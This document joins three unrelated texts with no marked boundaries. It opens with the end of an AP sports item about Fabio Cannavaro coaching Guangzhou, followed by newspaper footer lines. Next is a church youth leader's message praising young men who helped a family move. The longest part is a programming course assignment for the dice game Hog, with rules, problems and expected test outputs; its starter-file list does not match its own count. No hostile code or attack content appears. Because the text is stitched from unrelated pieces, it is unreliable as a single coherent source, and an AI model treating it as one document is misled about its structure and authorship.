Following his playing career as a Ballon d’Or-winning defender, the 46-year-old Cannavaro coached in the Middle East and China, including a first stint with Guangzhou before returning to the club in 2017.
More AP soccer https://apnews.com/Soccer and https://twitter.com/AP_Sport
More AP sports: https://apnews.com/apf-sports and https://twitter.com/AP_Sports
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


What choices are we making in this life? Are we making choices that effect others positively or negatively.
I stopped by this week to talk to the Sults. Russ (dad) was outside, he shook my hand and in tears told me how appreciative he was of US. Of US, as in, all those that helped move on Saturday. There was a large number of people there to help them move and the Sult's felt very loved.
I then went inside the house and there was Chad, Derek and Tammy (mom) packing up the remainder of their belongings. Clearly overwhelmed by the task at hand, they expressed their gratitude for our ward.
It's opportunities like this that truly make us who we are. Service to others shapes us into great men. It helps us reach our potential and become as Heavenly Father desires us to be.
I can tell you I grew last Saturday as a person. I grew because of you. I grew because even though it was HOT outside, even though there seemed to be a never ending supply of boxes and things coming out of the house, even though, as we arrived at the storage unit, we were told the stuff went upstairs, no one complained. I grew because of your examples of true discipleship.
I encourage you to always choose the better part. Always try to think of others. Know that true happiness comes when we serve other people.
As part of today's lesson, I challenge you to do 2 things:
1. Do a random act of service for a family member.
2. Memorize one of the scriptures outlined in the F.I.G.H.T. program.
I can't tell you enough how amazed I am by each of you. It is a HUGE blessing in my life to watch you learn and grow.
I hope we will each always F.I.G.H.T!!!!
-- Gary Krauser


Homework 1: The Game of Hog
I know! I'll use my
Higher-order functions to
Order higher rolls.
Introduction
In this project, you will develop a simulator and multiple strategies for the dice game Hog. You will need to use control statements and higher-order functions together, as described in lecture, lecture notes, and Sections 1.2 through 1.6 of Composing Programs.
In Hog, two players alternate turns trying to reach 100 points first. On each turn, the current player chooses some number of dice to roll, up to 10. That player's score for the turn is the sum of the dice outcomes, unless any of the dice comes up a 1, in which case the score for the turn is only 1 point (the Pig out rule).
To spice up the game, we will play with some special rules:
Free bacon. A player who chooses to roll zero dice scores one more than the largest digit in the opponent's score.
- Example 1: If Player 1 has 42 points, Player 0 gains 1 + max(4, 2) = 5 points by rolling zero dice.
- Example 2: If Player 1 has 48 points, Player 0 gains 1 + max(4, 8) = 9 points.
- Example 3: If Player 1 has 7 points, Player 0 gains 1 + max(0, 7) = 8 points by rolling zero dice.
- Hog wild. If the sum of both players' total scores is a multiple of seven (e.g., 14, 21, 35), then the current player rolls four-sided dice instead of the usual six-sided dice.
- Swine Swap. At the end of each turn, if the last two digits of Player 0's
score are the reverse of the last two digits of Player 1's score, the players'
score will be swapped.
- Example 1: Player 0 has a score of 19 and Player 1 has a score of 91 after Player 0 has rolled. Reversing the last two digits of Player 0's score (19) results in 91, which are the last two digits of Player 1's score. This is considered a swap and the player's scores are switched. Player 0 now has a score of 91, Player 1 now has a score of 19 and Player 0's turn is over.
- Example 2: Player 0 has a score of 80 and Player 1 has a score of 8 at the end of Player 1's turn. In this example, Player 1's score is viewed as 08, which is the reverse of 80. The player's scores are swapped, leaving, Player 0 with 8 and Player 1 with 80. Player 1's turn ends.
- Example 3: Player 0 begins their turn with a score of 90 while Player 1 has 70 points. Player 0 rolls 7 dice, giving them 17 points. They now have a score of 107 and Player 1 has a score of 70. Swapping the last two digits of 107 will give back 70, so the two scores are swapped. Player 0 ends their turn with a score of 70 while Player 1 now has a score of 107. Because the swap occurs before Player 0's turn is over, Player 1 wins the game.
Download starter files
To get started, download the 2 files for the project code.
- hog.py : A starter implementation of Hog
- dice.py : Functions for rolling dice
- hog_extra.py : A starter for extra credit on strategies.
hog_gui.py
: A graphical user interface for Hogimages
: A directory of images used byhog_gui.py
It is not required, but for those interested in extra credit, you can download the starter file:
If you are interested in running the game in a GUI interface there is an hog.zip archive with additional files that you can download to make this work.
Logistics
This is a 1-week project. You may work with one other partner. You should not share your code with students who are not your partner or copy from anyone else's solutions.
In the end, you will submit one project for both partners. .
You will turn in the following files:
hog.py
You do not need to modify or turn in any other files to complete the project. Submit the project on BB.
For the functions that we ask you to complete, there may be some initial code that we provide. If you would rather not use that code, feel free to delete it and start from scratch. You may also add new function definitions as you see fit.
However, please do not modify any other functions. Doing so may result in your code failing.
Testing
Throughout this project, you should be testing the correctness of your code. It is good practice to test often, so that it is easy to isolate any problems.
In the first phase, you will develop a simulator for the game of Hog.
Problem 0
The dice.py
file represents dice using non-pure zero-argument
functions. These functions are non-pure because they may have
different return values each time they are called. The documentation
of dice.py
describes the two different types of dice used in the
project:
- Dice can be fair, meaning that they produce each possible outcome with equal
probability. Examples:
four_sided
,six_sided
. - For testing functions that use dice, deterministic test dice always cycle
through a fixed sequence of values that are passed as arguments to the
make_test_dice
function.
Before we start writing any code, let's understand the make_test_dice
function by testing.
$ python3 -i dice.py
>>> dice = make_test_dice(1, 2, 3)
>>> dice()
1
>>> dice()
2
>>> dice()
3
>>> dice()
1
>>> dice()
2
Problem 1
Implement the roll_dice
function in hog.py
. It takes two arguments: the
number of dice to roll, num_rolls
, and a dice
function. It returns the
number of points scored by rolling that number of dice simultaneously: either
the sum of the outcomes or 1 (pig out).
To obtain a single outcome of a dice roll, call dice()
. You must
call the dice
function exactly the number of times specified by
the first argument (even if a 1 is rolled) since we are rolling all
dice simultaneously in the game.
Test you code for accurracy interactively as follows:
$ python3 -i hog.py
>>> roll_dice(1,make_test_dice(4, 2, 1, 3))
4
>>> roll_dice(2,make_test_dice(4, 2, 1, 3))
6
>>> roll_dice(3,make_test_dice(4, 2, 1, 3))
1
>>> roll_dice(4,make_test_dice(4, 2, 1, 3))
1
The roll_dice
function has a default argument value
for dice
that is a random six-sided dice function. The tests use fixed dice.
Problem 2
Implement the take_turn
function, which returns the number of points
scored for a turn. You will need to implement the Free bacon rule.
You can assume that opponent_score
is less than 100. For a score
less than 10, assume that the first of two digits is 0. Your
implementation should call roll_dice
.
You can check your correctness with:
$ python3 -i hog.py
>>> take_turn(2, 0, make_test_dice(4, 6, 1))
10
>>> take_turn(3, 0, make_test_dice(4, 6, 1))
1
>>> take_turn(0, 35)
6
>>> take_turn(0, 71)
8
>>> take_turn(0, 7)
8
>>> take_turn(0, 0)
1
>>> take_turn(0, 9)
10
>>> take_turn(2, 0, make_test_dice(6))
12
>>> take_turn(0, 50)
6
Problem 3
Implement the select_dice
function, which helps enforce the Hog
wild special rule. This function takes two arguments: the scores for
the current and opposing players. It returns either four_sided
or
six_sided
dice that will be used during the turn.
Run the following tests:
$ python3 -i hog.py
>>> select_dice(4, 24) == four_sided
True
>>> select_dice(16, 64) == four_sided
False
>>> select_dice(0, 0) == four_sided
True
>>> select_dice(50, 80) == four_sided
False
Problem 4
To help you implement the Swine Swap special rule, write a function called is_swap
that checks to see if the last two digits of the players' scores are swapped.
Run the following tests:
$ python3 -i hog.py
>>> is_swap(19, 91)
True
>>> is_swap(20, 40)
False
>>> is_swap(41, 14)
True
>>> is_swap(23, 42)
False
>>> is_swap(55, 55)
True
>>> is_swap(114, 41) # We check the last two digits
True
Problem 5
Implement the play
function, which simulates a full game of
Hog. Players alternate turns, each using their respective strategy function
(Player 0 uses strategy0, etc.), until one of the players reaches the goal
score. When the game ends, play
returns the final total scores of both players,
with Player 0's score first, and Player 1's score second.
Here are some hints:
- Remember to enforce all the special rules! You should enforce the
Hog wild special rule here (by calling
select_dice
), as well as the Swine Swap special rule here. - You should use the
take_turn
andis_swap
functions that you've already written. - You can get the number of the other player (either 0 or 1) by calling
the provided function
other
. - A strategy is a function that, given a player's score and their opponent's
score, returns how many dice the player wants to roll. A strategy
function (such as
strategy0
andstrategy1
) takes two arguments: scores for the current player and opposing player. A strategy function returns the number of dice that the current player wants to roll in the turn. Don't worry about details of implementing strategies yet. You will develop them in the Extra-Credit Phase 2.
Test your solution using the following tests:
$ python3 -i hog.py
>>> four_sided = make_test_dice(1)
>>> six_sided = make_test_dice(3)
>>> always = always_roll
>>> s0,s1 = play(always(5), always(3), score0=91, score1=10)
>>> s0, s1
(106, 10)
>>> s0,s1 = play(always(5), always(5), goal=10)
>>> s0, s1
(1, 15)
>>> s0,s1 = play(always(5), always(3), score0=36, score1=15, goal=50)
>>> s0, s1
(15, 51)
>>> # Swine swap applies to 3 digit scores
>>> s0,s1 = play(always(5), always(3), score0=98, score1=31)
>>> s0,s1
(31, 113)
>>> # Goal edge case
>>> s0,s1 = play(always(4), always(3), score0=88, score1=20)
>>> s0, s1
(100, 20)
Note: that you can fuzz test, which checks your
play
function works for any arbitrary inputs. Failing this test means something is wrong, but you should look at other tests to see where the problem might be.
$ python3 -i hog.py
>>> import random
>>> four_sided = lambda: random.randrange(1, 5)
>>> six_sided = lambda: random.randrange(1, 7)
>>> random_strat = lambda a, b: (random.randrange(11) + b) % 10
>>> random.seed(4321)
>>> for _ in range(100):
s0, s1 = play(random_strat,random_strat)
Once you are finished, you will be able to play a graphical version of
the game. We have provided a link to a zip archive that contains a file called hog_gui.py
that
you can run from the terminal:
python3 hog_gui.py
If you don't already have Tkinter (Python's graphics library) installed, you'll need to install it first before you can run the GUI.
The GUI relies on your implementation, so if you have any bugs in your code, they will be reflected in the GUI. This means you can also use the GUI as a debugging tool; however, it's better to run the tests first.
Congratulations! You have finished Homework Project #1 of this project! Go on to the Extra Credit Questions if you are so inclined.
Extra Credit: Strategies
In the second phase, you will experiment with ways to improve upon the basic strategy of always rolling a fixed number of dice. First, you need to develop some tools to evaluate strategies.
Problem 6
Implement the make_averaged
function, which is a higher-order function that
takes a function fn
as an argument. It returns another function that takes
the same number of arguments as fn
(the function originally passed into
make_averaged
). This returned function differs from the input function in that
it returns the average value of repeatedly calling fn
on the same arguments.
This function should call fn
a total of num_samples
times and return the
average of the results.
To implement this function, you need a new piece of Python syntax! You must write a function that accepts an arbitrary number of arguments, then calls another function using exactly those arguments. Here's how it works.
Instead of listing formal parameters for a function, we write *args
. This is often called a "rest agument", since it is used to capture a list of the unknown number of all the rest of the arguments.
To call another function using exactly those arguments, we call it
again with *args
. For example,
>>> def printed(fn):
... def print_and_return(*args):
... result = fn(*args)
... print('Result:', result)
... return result
... return print_and_return
>>> printed_pow = printed(pow)
>>> printed_pow(2, 8)
Result: 256
256
>>> printed_abs = printed(abs)
>>> printed_abs(-10)
Result: 10
10
Read the docstring for make_averaged
carefully to understand how it
is meant to work.
Problem 7
Implement the max_scoring_num_rolls
function, which runs an
experiment to determine the number of rolls (from 1 to 10) that gives
the maximum average score for a turn. Your implementation should use
make_averaged
and roll_dice
.
Note: If two numbers of rolls are tied for the maximum average score, return the lower number. For example, if both 3 and 6 achieve a maximum average score, return 3.
To run this experiment on randomized dice, call run_experiments
using
the -r
option:
python3 hog.py -r
Running experiments For the remainder of this project,
you can change the implementation of run_experiments
as you wish.
By calling average_win_rate
, you can evaluate various Hog
strategies. For example, change the first if False:
to if
True:
in order to evaluate always_roll(8)
against the
baseline strategy of always_roll(5)
. You should find that it loses
more often than it wins, giving a win rate below 0.5.
Some of the experiments may take up to a minute to run. You can always reduce
the number of samples in make_averaged
to speed up experiments.
Problem 8
A strategy can take advantage of the Free bacon rule by rolling 0
when it is most beneficial to do so. Implement bacon_strategy
, which
returns 0 whenever rolling 0 would give at least margin
points
and returns num_rolls
otherwise.
Once you have implemented this strategy, change run_experiments
to evaluate your new strategy against the baseline. You should find that it
wins more than half of the time.
Problem 9
A strategy can also take advantage of the Swine Swap rule. The
swap_strategy
- Rolls 0 if it would cause a beneficial swap.
- Rolls
num_rolls
if rolling 0 would cause a harmful swap in favor of the opponent. - If rolling 0 does not cause a swapped, then roll 0
if it would give at least
margin
points and rollnum_rolls
otherwise.
(Note: if a swap would result in the scores not changing, such as both players having a score of 55, it is considered to be neutral, and should be handled in case 3 as if the scores had not been swapped at all)
Once you have implemented this strategy, update run_experiments
to
evaluate your new strategy against the baseline. You should find that
it performs even better than bacon_strategy
, on average.
Problem 10
Implement final_strategy
, which combines these ideas and any other ideas you
have to achieve a win rate of at least 0.58 (for full extra credit) against the
baseline always_roll(5)
strategy. Partial credit is also given if you are
close. Some ideas:
- You only need 100 points to win. If you are near the goal, try not to pig out and give your opponent a chance to win.
- If you are in the lead, you might take fewer risks. If you are losing, you might take bigger risks to catch up.
- Vary your rolls based on whether you will be rolling four-sided or six-sided dice.
- Find a way to leave your opponent with four-sided dice more often.
You can check your final strategy win rate by running:
python3 hog.py --final
You can also play against your final strategy with the graphical user interface:
python3 hog_gui.py -f
The GUI will alternate which player is controlled by you.